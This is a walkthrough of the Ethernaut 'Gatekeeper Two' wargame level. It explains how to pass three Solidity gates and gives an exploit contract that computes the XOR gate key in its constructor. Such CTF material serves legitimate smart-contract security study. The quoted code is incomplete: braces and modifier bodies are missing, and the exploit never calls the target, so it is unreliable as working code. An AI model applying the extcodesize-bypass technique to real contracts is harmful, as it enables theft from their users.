Ethernaut - 14. Gatekeeper Two

Difficulty: 🌕🌕🌕🌑🌑

This gatekeeper introduces a few new challenges. Register as an entrant to pass this level.
Things that might help:

  • Remember what you’ve learned from getting past the first gatekeeper - the first gate is the same.
  • The assembly keyword in the second gate allows a contract to access functionality that is not native to vanilla Solidity. See here for more information. The extcodesize call in this gate will get the size of a contract’s code at a given address - you can learn more about how and when this is set in section 7 of the yellow paper.
  • The ^ character in the third gate is a bitwise operation (XOR), and is used here to apply another common bitwise operation (see here). The Coin Flip level is also a good place to start when approaching this challenge.


// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract GatekeeperTwo {

  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);

  modifier gateTwo() {
    uint x;
    assembly { x := extcodesize(caller()) }
    require(x == 0);

  modifier gateThree(bytes8 _gateKey) {
    require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1);

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;


There are three gates we need to pass.

  • Gate one : Using the contract to call the method. msg.sender will be the contract address and tx.origin will be my account address.
  • Gate two : When contract is being created, code size (extcodesize) is 0. Write all code in constructor() to pass the check. To learn more detail, you can visit this website.
  • Gate three : If a ^ b = c then c ^ a = b . We can use this logic to derive the value of _gateKey. To learn more detail, you can visit this website.
  1. Get new instance.
  2. Create a new contract.
     // SPDX-License-Identifier: MIT
     pragma solidity >=0.8.0 <0.9.0;
     interface IGatekeeperTwo {
         function enter(bytes8 _gateKey) external returns (bool);
     contract GatekeeperTwoExploiter {
         constructor() {
                 bytes8 key = bytes8(uint64(bytes8(keccak256(abi.encodePacked(this)))) ^ uint64(0) - 1  );
  3. Compile and deploy.
  4. Submit instance ξ( ✿>◡❛)